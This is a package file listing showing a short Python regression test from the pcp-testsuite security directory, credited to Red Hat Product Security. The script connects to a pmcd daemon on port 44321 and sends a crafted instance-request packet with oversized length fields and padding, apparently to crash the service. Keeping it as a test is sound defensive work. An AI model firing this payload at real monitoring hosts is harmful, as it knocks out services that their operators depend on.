/var/lib/pcp/testsuite/secure/crash-instancereq is in pcp-testsuite 3.9.10.
This file is owned by root:root, with mode 0o644.
The actual contents of the file can be viewed below.
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# usage: python crash-instancereq HOST
#
# Connects to pmcd on HOST and sends a crafted PDU_INSTANCE_REQ
#
# Florian Weimer / Red Hat Product Security Team
#
import socket
import sys
_, host = sys.argv
#sock = socket.create_connection((host, 44321))
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, 44321))
sock.send(str("\x00\x00\x00\x14\x00\x00p\x0c\x00\x00\x00\x01\x00\x00\x00\x01\x01\x02\x00\x00")
+ str('\x00\x00\x04\x08\x00\x00p\x06\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff')
+ str('X') * 1000)
sock.close()
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